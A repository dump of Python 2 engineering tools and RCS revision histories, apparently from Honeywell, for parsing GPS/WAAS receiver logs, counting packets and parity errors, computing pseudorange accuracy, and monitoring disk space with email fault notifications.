added class Stats@
text
@d1 4
d8 2
a9 2
""" returns the average, RMS, standard deviation and skew of a sequence of
values """
d36 1
@
1.1
log
@Initial revision@
text
@d4 1
a4 1
""" returns the average, standard deviation, and skew of a sequence of
d7 1
a7 1
return (0.0, 0.0, 0.0)
d9 1
a9 1
return (xs[0], 0.0, 0.0)
d15 1
d29 11
a39 1
return (avg, std, skew)
@
<file_sep>/Monitor.py
""" Class holds email, timer, and space detecting systems. """
import time, datetime, sys
import smtplib # sending functions for email
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
""" Imports for checking HD Space """
import ctypes
import platform
import sys, os
""" Decides which fault logs to capture """
import Config
cConfigLoader = Config.Config()
""" Allows Faults to be recorded """
import EventClass
cEventClass = EventClass.EventClass()
class Monitor:
def __init__(self):
self.lastMajorUpdate = None
self.started = False
self.running = True
self.ranOnce = False
self.runningCounter = 0
self.dot = "."
self.sideTimerForProcessing = time.time()
self.firstEmailSent = False
""" VARIABLE DEFINITIONS FOR CUSTOMIZATION """
cConfigLoader.readConfig("Config.ini")
self.maxSpace = float(cConfigLoader.getVal('Default', 'Max_Space_For_CA_Logs')) # Gigabytes
self.tooLittleSpace = self.maxSpace * float(
cConfigLoader.getVal('Default', 'Notify_When_Percentage_Drive_Full')) # Percentage
self.timeToCheckAgainst = float(cConfigLoader.getVal('Default', 'Desired_Checking_Time')) ## Hours
self.desiredNotificationTime = int(
cConfigLoader.getVal('Default', 'Desired_Notification_Time')) ## 4 digit Military Time
self.emailOnlyNewFaults = True if (
cConfigLoader.getVal('Default', 'Email_Only_New_Faults') == "True") else False ## True or False
""" Will send an email between these two times each day """
tempStartTime = self.desiredNotificationTime - 100
tempDigit_1 = (tempStartTime / 10 ** 0) % 10 # Grabs digit in 1's place
tempDigit_10 = (tempStartTime / 10 ** 1) % 10 # Grabs digit in 10's place
tempDigit_100 = (tempStartTime / 10 ** 2) % 10 # Grabs digit in 100's place
tempDigit_1000 = (tempStartTime / 10 ** 3) % 10 # Grabs digit in 1000's place
self.startCheckingTime = datetime.time(tempDigit_1000 * 10 + tempDigit_100, tempDigit_10 * 10 + tempDigit_1)
tempEndTime = self.desiredNotificationTime + 100
tempDigit_1 = (tempEndTime / 10 ** 0) % 10 # Grabs digit in 1's place
tempDigit_10 = (tempEndTime / 10 ** 1) % 10 # Grabs digit in 10's place
tempDigit_100 = (tempEndTime / 10 ** 2) % 10 # Grabs digit in 100's place
tempDigit_1000 = (tempEndTime / 10 ** 3) % 10 # Grabs digit in 1000's place
self.endCheckingTime = datetime.time(tempDigit_1000 * 10 + tempDigit_100, tempDigit_10 * 10 + tempDigit_1)
self.resetEmailTodayTimeNight = datetime.time(22)
self.resetEmailTodayTimeMorning = datetime.time(2)
""" Email definitions """
email1 = cConfigLoader.getVal('Notification', 'Email_1')
email2 = cConfigLoader.getVal('Notification', 'Email_2')
email3 = cConfigLoader.getVal('Notification', 'Email_3')
email4 = cConfigLoader.getVal('Notification', 'Email_4')
email5 = cConfigLoader.getVal('Notification', 'Email_5')
email6 = cConfigLoader.getVal('Notification', 'Email_6')
self.emailList = '<EMAIL>,<EMAIL>'
# self.emailList = email1 + ',' + email2 + ',' + email3 + ',' + email4 + ',' + email5 + ',' + email6
""" Helper Functions """
def programRunning(self):
return self.running
def showRunning(self, phrase, waitInSeconds):
""" Prevents from the Central Authority from looking frozen. """
if (time.time() - self.sideTimerForProcessing > 1.5):
self.sideTimerForProcessing = time.time()
self.runningCounter = self.runningCounter + 1
line = (phrase + "." * self.runningCounter)
sys.stdout.write('\r' + line)
time.sleep(waitInSeconds)
if self.runningCounter > 27:
self.runningCounter = 0
def pause(self, waitInSeconds):
""" Pauses the program in seconds. """
time.sleep(waitInSeconds)
def startThreadTimer(self):
self.threadTimer = time.time()
def threadTimerGreaterThan(self, seconds):
if ((time.time() - self.threadTimer) > seconds):
return True
else:
return False
def returnDateAndTimeStr(self):
return str(time.strftime("on %m-%d-%Y at %X."))
def printCurrentDateAndTime(self):
""" Prints the current date and time. """
print(str(time.strftime('Date: %m-%d-%Y Current time: %X')))
""" Hour Timer Functions """
def startTimer(self, timeToCheckAgainst):
""" Starts the timer. """
self.lastMajorUpdate = time.time()
self.started = True
def restartTimer(self):
""" Restarts the timer. """
self.lastMajorUpdate = time.time()
self.started = True
self.runningCounter = 0
def isItTime(self):
""" Checks if it has been longer than Desired_Checking_Time in Config.ini """
if (self.started == True):
""" Check if the time in seconds is greater than the time """
""" designated by Desired_Checking_Time in the Config.ini """
if ((time.time() - self.lastMajorUpdate) > (3600.0 * self.timeToCheckAgainst)):
return True
else:
return False
else:
print "Timer hasn't been started."
return False
def firstTimeRunning(self):
""" Checks if it the program has ran once """
if (self.started == True):
if (self.ranOnce == False):
self.ranOnce = True
return True
else:
return False
else:
print "Timer hasn't been started."
return False
""" 24 hour notification """
def isItTimeToSendNotifications(self):
if (self.firstEmailSent == False):
self.firstEmailSent = True
return True
else:
timestamp = datetime.datetime.now().time()
if ((self.startCheckingTime <= timestamp) and (self.endCheckingTime >= timestamp)):
print("It is the correct time to send an email. \n")
if ((self.emailOnlyNewFaults == False) and (self.hasThereBeenAnEmailToday() == False)):
self.updateCurrentStatsFile(False, True)
return True
elif ((self.isThereANewFault() == True) and (self.hasThereBeenAnEmailToday() == False)):
self.updateCurrentStatsFile(False, True)
return True
elif ((self.resetEmailTodayTimeNight <= timestamp) or (self.resetEmailTodayTimeMorning >= timestamp)):
foundFault = self.isThereANewFault()
self.pause(3)
## Set boolean for email today to False
self.updateCurrentStatsFile(foundFault, False)
return False
def isThereANewFault(self):
""" """
readFromThisFile = os.path.join("ProcessedFiles", "EventsFound", "CurrentStats.dat")
try:
with open(readFromThisFile, "r") as ins:
caStatus = []
for line in ins:
caStatus.append(line.split())
ins.close()
return True if (caStatus[0] == "True") else False
except:
print("Error opening complex list %s. (cEventClass.isThereANewFault)" % readFromThisFile)
cEventClass.logUniqueEvent('NA', str(0), "CA is unable to check CurrentStats.dat for new faults.",
"Inside Local Directory.")
return False
def hasThereBeenAnEmailToday(self):
""" """
readFromThisFile = os.path.join("ProcessedFiles", "EventsFound", "CurrentStats.dat")
try:
with open(readFromThisFile, "r") as ins:
caStatus = []
for line in ins:
caStatus.append(line.split())
ins.close()
return True if (caStatus[1] == "True") else False
except:
cEventClass.logUniqueEvent('NA', str(0),
"CA is unable to check CurrentStats.dat to see if it emailed today.",
"Inside Local Directory.")
return False
def updateCurrentStatsFile(self, newFault, emailedToday):
currentPath = os.path.join("ProcessedFiles", "EventsFound", "CurrentStats.dat")
if (os.path.exists(currentPath) == False):
file = open(currentPath, 'w')
file.write(str(newFault) + " " + str(emailedToday))
file.close()
""" Email Functions """
def sendFaultLogThroughEmail(self, listOfFaults):
""" Only a test function - make sure email works. """
print("\n***********************************************")
print("****** Fault Log going out ******")
print("***********************************************")
print("Connecting to server.")
server = smtplib.SMTP('olt_gnss_001.honeywell.com')
print("Constructing message.")
msg = MIMEMultipart()
msg["From"] = '<EMAIL>'
msg["To"] = self.emailList
msg["Subject"] = "Subject: Central Authority restart - the list of faults follows:"
listOfFaults = listOfFaults.replace('\n', '\t\n')
msg.attach(MIMEText(listOfFaults, 'plain'))
print("Message constructed successfully.")
server.sendmail(msg["From"], msg["To"].split(","), msg.as_string())
server.quit()
print("Email sent without issue to the designated recipients.\n\n")
""" Functions for handling and checking free space """
def enoughSpaceToContinueProgram(self, dirname, startPath, printStats):
""" Returns True or False depending on how much hard drive space is left """
if (printStats == True):
print("Current Free Space = %.2f gb." % self.getFreeSpaceGB("c:")) # returns in gigabytes.
print("Current Space Taken Up = %.2f gb." % self.getSize()) # returns in gigabytes.
if (self.getSize() > self.tooLittleSpace):
return False
else:
return True
def getFreeSpaceGB(self, dirname):
""" Return drive free space (in gigabytes). """
if platform.system() == 'Windows':
free_bytes = ctypes.c_ulonglong(0)
ctypes.windll.kernel32.GetDiskFreeSpaceExW(ctypes.c_wchar_p(dirname), None, None,
ctypes.pointer(free_bytes))
return free_bytes.value / 1024 / 1024 / 1024.0
else:
st = os.statvfs(dirname)
return st.f_bavail * st.f_frsize / 1024.0 / 1024.0 / 1024.0
def getSize(self, startPath='.'):
""" Return space taken up by current directory (in gigabytes). """
total_size = 0
for dirpath, dirnames, filenames in os.walk(startPath):
for f in filenames:
fp = os.path.join(dirpath, f)
total_size += os.path.getsize(fp)
total_size = total_size / 1024.0 / 1024.0 / 1024.0
return total_size
<file_sep>/rcs/channel_changes.py
head 1.4;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.4
date 2012.05.16.20.19.01; author VigneshKrishnan; state In_Progress;
branches ;
next 1.3;
1.3
date 2011.07.26.21.20.36; author VigneshKrishnan; state InProgress;
branches ;
next 1.2;
1.2
date 2009.05.05.19.47.27; author John.Savoy; state Exp;
branches ;
next 1.1;
1.1
date 2009.04.20.20.53.47; author John.Savoy; state Exp;
branches ;
next ;
ext
@project F:/HostTools/HostTools.pj;
@
desc
@@
1.4
log
@Added ability to detect GBAS_distance_status@
text
@""" Shows version changes and mode changes """
from version_changes import VersionChanges as Parser
class ModeChanges(Parser):
def __init__(self):
Parser.__init__(self)
self.last_mode = None
self.last_mode_second = 0
self.last_validity = None
self.last_gps_tow = -1.0
self.num_tow_reports = 0
self.last_num_visible = -1
self.last_channel_is_valid = None
self.last_channel = 0
self.last_utc = None
self.last_dev_validity = None
self.last_Active_Approach_Service_Type = None
self.last_GBASD_validity = None
self.last_Selected_Approach_Service_Type = None
self.last_protection_level_source = None
self.last_bias_approach_monitor_status = None
self.last_precision_approach_region = None
self.last_gbas_distance_status = None
self.last_vertical_guidance_region_status = None
self.last_type_1_message_latency = None
self.last_type_1_message_time_out = None
self.last_gls_vertical_performance_alert = None
self.last_gls_lateral_performance_alert = None
self.last_approach_performance_designator = None
self.last_above_threshold_crossing_height = None
self.last_approach_monitor = None
self.last_vertical_approach_status = None
self.last_lateral_approach_status = None
self.last_gbas_distance_status = 0
def handle31(self, msg):
delta_seconds = 0
if msg.mode != self.last_mode:
print '%s TOW %10.4f UTC %s\t%-30s %-30s' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Mode changed', msg.mode)
self.last_mode = msg.mode
self.last_mode_second = self.last_gps_tow
# if msg.number_of_visible_satellites != self.last_num_visible:
# self.last_num_visible = msg.number_of_visible_satellites
# if self.last_num_visible == 0:
# print '%s TOW %10.4f UTC %s\t%-30s' % \
# (msg.timestamp(), self.last_gps_tow, self.last_utc, '0 satellites visible')
# else:
# print '%s TOW %10.4f UTC %s\t%-30s %d' % \
# (msg.timestamp(), self.last_gps_tow, self.last_utc, 'Visible SV update', msg.number_of_visible_satellites)
def handle32(self, msg):
if self.last_validity != msg.validity:
if not (self.last_validity is None):
print '%s TOW %10.4f UTC %s\t%-30s 0x%02X' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'PVT validity changed', msg.validity)
self.last_validity = msg.validity
if self.last_gps_tow == msg.gps_tow:
if self.num_tow_reports < 10:
print '%s TOW %10.4f UTC %s\tTOW did not change or went backwards ' % (msg.timestamp(), self.last_gps_tow, self.last_utc)
self.num_tow_reports += 1
else:
self.num_tow_reports = 0
self.last_gps_tow = msg.gps_tow
self.last_utc = '%02d:%02d:%06.3f' % (msg.hour, msg.minute, msg.second)
def handle35(self, msg):
if msg.gls_channel_number != self.last_channel:
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Channel changed', msg.gls_channel_number )
self.last_channel = msg.gls_channel_number
if self.last_dev_validity != msg.validity:
if not (self.last_validity is None):
print '%s TOW %10.4f UTC %s\t%-30s 0x%03X' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Deviation validity changed', msg.validity)
self.last_dev_validity = msg.validity
def handle36(self, msg):
if msg.protection_level_source != self.last_protection_level_source:
if not (self.last_protection_level_source is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Protection level Source changed', msg.protection_level_source)
self.last_protection_level_source = msg.protection_level_source
if msg.bias_approach_monitor_status != self.last_bias_approach_monitor_status:
if not (self.last_bias_approach_monitor_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'BAM status changed', msg.bias_approach_monitor_status)
self.last_bias_approach_monitor_status = msg.bias_approach_monitor_status
if msg.precision_approach_region != self.last_precision_approach_region:
if not (self.last_precision_approach_region is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'PAR status changed', msg.precision_approach_region)
self.last_precision_approach_region = msg.precision_approach_region
if self.last_gbas_distance_status != msg.gbas_distance_status:
if not (self.last_gbas_distance_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'GBAS Distance Status changed', msg.gbas_distance_status )
self.last_gbas_distance_status = msg.gbas_distance_status
if self.last_vertical_guidance_region_status != msg.vertical_guidance_region_status:
if not (self.last_vertical_guidance_region_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'VGR Status changed', msg.vertical_guidance_region_status )
self.last_vertical_guidance_region_status = msg.vertical_guidance_region_status
if self.last_type_1_message_latency != msg.type_1_message_latency:
if not (self.last_type_1_message_latency is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'T1 Message Latency status changed', msg.type_1_message_latency )
self.last_type_1_message_latency = msg.type_1_message_latency
if self.last_type_1_message_time_out != msg.type_1_message_time_out:
if not (self.last_type_1_message_time_out is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'T1 Message Timeout status changed', msg.type_1_message_time_out )
self.last_type_1_message_time_out = msg.type_1_message_time_out
if self.last_gls_vertical_performance_alert != msg.gls_vertical_performance_alert:
if not (self.last_gls_vertical_performance_alert is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Vertical Performance Alert status changed', msg.gls_vertical_performance_alert )
self.last_gls_vertical_performance_alert = msg.gls_vertical_performance_alert
if self.last_gls_lateral_performance_alert != msg.gls_lateral_performance_alert:
if not (self.last_gls_lateral_performance_alert is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Lateral Performance Alert status changed', msg.gls_lateral_performance_alert )
self.last_gls_lateral_performance_alert = msg.gls_lateral_performance_alert
if self.last_above_threshold_crossing_height != msg.above_threshold_crossing_height:
if not (self.last_above_threshold_crossing_height is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Above TCH status changed', msg.above_threshold_crossing_height )
self.last_above_threshold_crossing_height = msg.above_threshold_crossing_height
if self.last_approach_performance_designator != msg.approach_performance_designator:
if not (self.last_approach_performance_designator is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Approach Performance Designator changed', msg.approach_performance_designator )
self.last_approach_performance_designator = msg.approach_performance_designator
if self.last_approach_monitor != msg.approach_monitor:
if not (self.last_approach_monitor is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Approach Monitor Status changed', msg.approach_monitor )
self.last_approach_monitor = msg.approach_monitor
if self.last_vertical_approach_status != msg.vertical_approach_status:
if not (self.last_vertical_approach_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Vertical Approach Status changed', msg.vertical_approach_status )
self.last_vertical_approach_status = msg.vertical_approach_status
if self.last_lateral_approach_status != msg.lateral_approach_status:
if not (self.last_lateral_approach_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Lateral Approach Status changed', msg.lateral_approach_status )
self.last_lateral_approach_status = msg.lateral_approach_status
if self.last_gbas_distance_status != msg.gbas_distance_status:
if not (self.gbas_distance_status is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'GBAS Distance Status changed', msg.gbas_distance_status )
self.last_gbas_distance_status = msg.gbas_distance_status
def handle5F(self, msg):
if msg.Selected_Approach_Service_Type!= self.last_Selected_Approach_Service_Type:
if not (self.last_Selected_Approach_Service_Type is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'AST selection changed', msg.Selected_Approach_Service_Type )
self.last_Selected_Approach_Service_Type = msg.Selected_Approach_Service_Type
if self.last_GBASD_validity != msg.validity:
if not (self.last_GBASD_validity is None):
print '%s TOW %10.4f UTC %s\t%-30s 0x%03X' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Validity GBASD data changed', msg.validity)
self.last_GBASD_validity = msg.validity
if self.last_Active_Approach_Service_Type != msg.Active_Approach_Service_Type:
if not (self.last_Active_Approach_Service_Type is None):
print '%s TOW %10.4f UTC %s\t%-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, self.last_utc, 'Active AST changed', msg.Active_Approach_Service_Type )
self.last_Active_Approach_Service_Type = msg.Active_Approach_Service_Type
# def handle49(self, msg):
# print '%s TOW %10.4f UTC %s\t%-30s %i %5i' % \
# (msg.timestamp(), self.last_gps_tow, self.last_utc, 'Tune commnad received ', msg.channel_number, msg.channel_selected )
def handle_parse_error(self, error, line_num, line):
print 'Parsing error on line', line_num, 'of input file:'
print ' ', line
if __name__ == '__main__':
ModeChanges().main('Mode Changes')@
1.3
log
@Added status updates based on packet5F and packet36@
text
@d36 1
d153 5
@
1.2
log
@@
text
@d19 17
d37 1
a37 1
d80 91
a170 1
@
1.1
log
@Initial revision@
text
@d17 3
d24 2
a25 3
delta_seconds = (self.last_gps_tow - self.last_mode_second)
print '%s TOW %10.4f %-30s (delta %3i sec)' % \
(msg.timestamp(), self.last_gps_tow, msg.mode, delta_seconds)
d28 9
a36 5
if msg.number_of_visible_satellites != self.last_num_visible:
self.last_num_visible = msg.number_of_visible_satellites
if self.last_num_visible == 0:
print '%s TOW %10.4f %-30s (delta %3i sec)' % \
(msg.timestamp(), self.last_gps_tow, '0 satellites visible', delta_seconds)
d41 2
a42 2
print '%s TOW %10.4f Validity changed to 0x%02X' % \
(msg.timestamp(), self.last_gps_tow, msg.validity)
d46 1
a46 1
print '%s TOW %10.4f TOW did not change or went backwards ' % (msg.timestamp(), self.last_gps_toW )
d51 1
d55 2
a56 2
print '%s TOW %10.4f %-30s %5i' % \
(msg.timestamp(), self.last_gps_tow, 'Channel changed', msg.gls_channel_number )
d58 6
d65 3
a67 3
def handle49(self, msg):
print '%s TOW %10.4f %-30s %i %5i' % \
(msg.timestamp(), self.last_gps_tow, 'Tune commnad received ', msg.channel_number, msg.channel_selected )
@
<file_sep>/pytools/Other Pytools/pr_diff.py
"""Extracts the difference between raw and smoothed pseudoranges from one or
more log files"""
from mode_changes import ModeChanges as Parser
import stats
class PRDiff(Parser):
def __init__(self):
Parser.__init__(self)
self.data = {}
def main(self, title):
Parser.main(self, title)
for prn in self.data.keys():
fname = 'pr_diff.prn' + str(prn)
print 'Writing', fname, '...',
f = open(fname, 'wt')
for diff in self.data[prn]:
print >> f, diff
f.close()
print 'done.'
def handle2C(self, msg):
if (not self.data.has_key(msg.prn)):
self.data[msg.prn] = []
self.data[msg.prn].append(msg.raw_pr - msg.smooth_pr)
if __name__ == '__main__':
PRDiff().main('Pseudorange differences')<file_sep>/rcs/count_pkts.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2005.01.24.17.56.39; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2004.10.25.17.23.15; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@@
text
@"""Prints the number of occurrences of each packet in one or more log files."""
import xpr_log
from xpr_log import Parser
class PacketCounts(Parser):
def __init__(self):
Parser.__init__(self)
self.msg_counts = {}
self.parse_command_line_fnames()
keys = self.msg_counts.keys()
keys.sort()
num_bytes = 0
for key in keys:
num_bytes += self.msg_counts[key][1]
print 'Counts for %i messages (%i bytes/%i seconds = %5.1f bytes/sec):' % \
(self.num_parsed, num_bytes, self.second, float(num_bytes) / self.second)
print ' ID count bytes bytes/sec'
print '--------------------------------------'
for key in keys:
(msg_count, byte_count) = self.msg_counts[key]
bytes_per_second = float(byte_count) / self.second
print ' %s : %6i %7i %5.1f' % (key, msg_count, byte_count, bytes_per_second)
def handle(self, msg):
(msg_count, byte_count) = self.msg_counts.get(msg.id, (0, 0))
self.msg_counts[msg.id] = (msg_count + 1, byte_count + msg.get_byte_count())
if __name__ == '__main__':
PacketCounts()@
1.1
log
@Initial revision@
text
@d3 1
d11 1
a11 3
self.parse_command_line_fnames()
print 'Message counts for %i messages (%i bytes):' % \
(self.num_parsed, self.num_bytes)
d14 1
d16 9
a24 1
print ' %s : %6i' % (key, self.msg_counts[key])
d27 2
a28 1
self.msg_counts[msg.id] = self.msg_counts.get(msg.id, 0) + 1
@
<file_sep>/rcs/parity_errors.py
head 1.1;
branch ;
access ;
symbols 2PXRFS1:1.1 PVTSE_tests:1.1 HT_0113:1.1 TRR1:1.1;
locks ; strict;
comment @@;
1.1
date 2005.03.11.22.44.45; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project \\oltfs021\comnavsw/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.1
log
@Initial revision@
text
@""" parity_errors.py: parity error counter
Copyright 2005, Honeywell International Inc.
This script counts parity errors in XPR log files. It can be used to determine
if the logged data meets the "WAAS message loss rate" requirement of
RTCA/DO-229C, Section 2.2.1.3.2.
"""
__author__ = '<NAME>'
__version__ = '$Revision: 1.1$'
from mode_changes import ModeChanges as Parser
class ParityErrorData:
def __init__(self, count=0):
self.count = count
self.start_tow = self.end_tow = None
def __str__(self):
if self.end_tow is None:
return '%2i' % (self.count, )
timespan = self.end_tow - self.start_tow
try:
return '%2i in %6.1f seconds -> %6.1f seconds per error' % \
(self.count, timespan, timespan / self.count)
except ZeroDivisionError:
return ' 0 in %6.1f seconds' % (timespan, )
class ParityErrors(Parser):
def __init__(self):
Parser.__init__(self)
self.data = {}
self.msg30 = None
self.min_tow = 0.0
def test(self):
print
self.min_tow = float(raw_input('Minimum TOW? : '))
Parser.main(self)
print '\nParity error counts by PRN:'
prns = self.data.keys()
prns.sort()
for prn in prns:
print '%3i : %s' % (prn, self.data[prn])
def handle29(self, msg):
prn = msg.satellite_id
if msg.fault_type == 25:
print msg
return
if msg.fault_type != 21:
return # not a parity error message
try:
self.data[prn].count += 1
except KeyError:
print 'Warning: parity error before start TOW for PRN', prn
print ' ', msg
def handle30(self, msg):
self.msg30 = msg
def handle32(self, msg):
if not msg.at_pps:
return # not at PPS
if not msg.validity & 0x20:
return # time fields not valid
if self.msg30 is None:
return # message 30 hasn't been seen
if msg.gps_tow < self.min_tow:
return
self.gps_tow = msg.gps_tow
if self.msg30.time_mark_sequence_number != msg.time_mark_sequence_number:
print 'Sequence number mismatch:'
print ' MSG30:', self.msg30.time_mark_sequence_number, 'at', self.msg30.timestamp()
print ' MSG32:', msg.time_mark_sequence_number, 'at', msg.timestamp()
return
for meas in self.msg30.measurements:
if (meas.validity_mask & 0x08):
prn = meas.prn
if not self.data.has_key(prn):
self.data[prn] = ParityErrorData()
self.data[prn].start_tow = msg.gps_tow
self.data[prn].end_tow = msg.gps_tow
if __name__ == '__main__':
p = ParityErrors()
p.test()@
<file_sep>/pytools/process_3D.py
from xpr_log import Parser
import sys
import math
import olathe_gps_lab
import gps_math
import string
class process_3D(Parser):
def __init__(self):
Parser.__init__(self)
self.last_sw_version = None
self.get_parse_ids_from_handlers()
#open output file
fname = string.replace(sys.argv[1], '.txt', '.dat');
self.f = open(fname, 'w');
def handle1D(self, msg):
if msg.sw_version != self.last_sw_version:
if self.last_sw_version:
self.abort_parse = True # abort when SW restarts
self.last_sw_version = msg.sw_version
<file_sep>/rcs/pracc.py
head 1.37;
branch ;
access ;
symbols 2PXRFS1:1.37 PVTSE_tests:1.37 HT_0113:1.37 TRR1:1.37 First%20ARINC:1.28
HTPR%20pracc:1.16;
locks ; strict;
comment @@;
1.37
date 2008.08.01.18.27.17; author e148815; state Exp;
branches ;
next 1.36;
1.36
date 2008.07.10.20.41.17; author John.Savoy; state Exp;
branches ;
next 1.35;
1.35
date 2008.06.06.20.26.47; author Bejoy.Sathyaraj; state In_Progress;
branches ;
next 1.34;
1.34
date 2008.06.06.20.16.45; author Bejoy.Sathyaraj; state In_Progress;
branches ;
next 1.33;
1.33
date 2008.06.04.22.26.01; author Bejoy.Sathyaraj; state In_Progress;
branches ;
next 1.32;
1.32
date 2008.04.04.13.41.45; author Grant.Griffin; state In_Progress;
branches ;
next 1.31;
1.31
date 2007.11.07.20.42.15; author Grant.Griffin; state In_Progress;
branches ;
next 1.30;
1.30
date 2007.11.02.22.21.59; author Grant.Griffin; state In_Progress;
branches ;
next 1.29;
1.29
date 2007.11.01.19.26.24; author Grant.Griffin; state In_Progress;
branches ;
next 1.28;
1.28
date 2007.10.26.22.28.51; author Grant.Griffin; state In_Progress;
branches ;
next 1.27;
1.27
date 2007.10.25.20.34.15; author Grant.Griffin; state In_Progress;
branches ;
next 1.26;
1.26
date 2007.09.18.21.23.39; author Grant.Griffin; state In_Progress;
branches ;
next 1.25;
1.25
date 2007.07.25.20.45.35; author Grant.Griffin; state In_Progress;
branches ;
next 1.24;
1.24
date 2007.07.16.20.46.22; author Grant.Griffin; state In_Progress;
branches ;
next 1.23;
1.23
date 2007.05.23.19.19.42; author Grant.Griffin; state In_Progress;
branches ;
next 1.22;
1.22
date 2007.02.08.21.09.45; author Grant.Griffin; state In_Progress;
branches ;
next 1.21;
1.21
date 2006.05.26.17.03.49; author griffin_g; state In_Progress;
branches ;
next 1.20;
1.20
date 2006.05.26.16.41.33; author griffin_g; state In_Progress;
branches ;
next 1.19;
1.19
date 2006.05.09.18.26.52; author griffin_g; state In_Progress;
branches ;
next 1.18;
1.18
date 2006.05.09.14.36.01; author griffin_g; state In_Progress;
branches ;
next 1.17;
1.17
date 2006.04.28.20.50.41; author griffin_g; state In_Progress;
branches ;
next 1.16;
1.16
date 2005.04.26.16.19.29; author griffin_g; state In_Progress;
branches ;
next 1.15;
1.15
date 2005.04.06.14.43.01; author griffin_g; state In_Progress;
branches ;
next 1.14;
1.14
date 2005.04.05.14.12.26; author griffin_g; state In_Progress;
branches ;
next 1.13;
1.13
date 2005.03.16.19.48.26; author griffin_g; state In_Progress;
branches ;
next 1.12;
1.12
date 2005.03.09.19.30.07; author griffin_g; state In_Progress;
branches ;
next 1.11;
1.11
date 2005.03.09.15.38.00; author griffin_g; state In_Progress;
branches ;
next 1.10;
1.10
date 2005.03.08.17.38.27; author griffin_g; state In_Progress;
branches ;
next 1.9;
1.9
date 2005.03.07.15.01.26; author griffin_g; state Reviewed;
branches ;
next 1.8;
1.8
date 2005.03.03.20.05.42; author griffin_g; state In_Progress;
branches ;
next 1.7;
1.7
date 2005.02.17.21.46.36; author griffin_g; state In_Progress;
branches ;
next 1.6;
1.6
date 2004.12.06.20.28.05; author griffin_g; state In_Progress;
branches ;
next 1.5;
1.5
date 2004.11.22.22.58.28; author griffin_g; state In_Progress;
branches ;
next 1.4;
1.4
date 2004.11.19.16.16.22; author griffin_g; state In_Progress;
branches ;
next 1.3;
1.3
date 2004.11.17.19.24.43; author griffin_g; state In_Progress;
branches ;
next 1.2;
1.2
date 2004.11.15.17.22.33; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2004.11.12.21.57.29; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.37
log
@SCR 3254 - No longer uses time inputs;
Uses Nav mode for overbounding and channel lock counts for steady state
Added processing for average sigma for SBAS sats@
text
@""" pracc.py: pseudorange-accuracy data calculation
Copyright 2004-2007, Honeywell International Inc.
This script is used to calculate pseudorange accuracy of a GPS/WAAS receiver
as defined in RTCA/DO-229C, Section 2.1.4.1.
Use it as follows:
- Using GPS Host or a similar program, acquire a binary log file of receiver
output data in XPR format. (Note that the overbounding test requies packet
0x55 to be present in the log file, so that packet should be turned on prior
to logging.)
- Run the data through gpsbin2txt to convert it to a text format. (This script
will do that automatically if its input file ends in '.gps'.)
- Post-process the data using this script. It then prints the RMS_PR value and
other statistics, and also writes a variety of related data files.
"""
__author__ = '<NAME>'
__version__ = '$Revision: 1.35 $'
# import Python library units
import sys, os, os.path, math, re
# import support units
import svranges, rawlog_info, stats, stdout_logger, pracc_data
from pracc_data import *
units = (svranges, rawlog_info, stats, stdout_logger, pracc_data)
#-----------------------------------------------------------------------------
# functions
def print_header():
"""Prints the program name and version"""
version_re = re.compile(r'[\d\.]+')
m = version_re.search(__version__)
print '-------------------------------------------------------------------------------'
print 'Pseudorange Accuracy Test, pracc.py %s' % (m.group(0), )
print 'Python:'
print ' ', sys.version
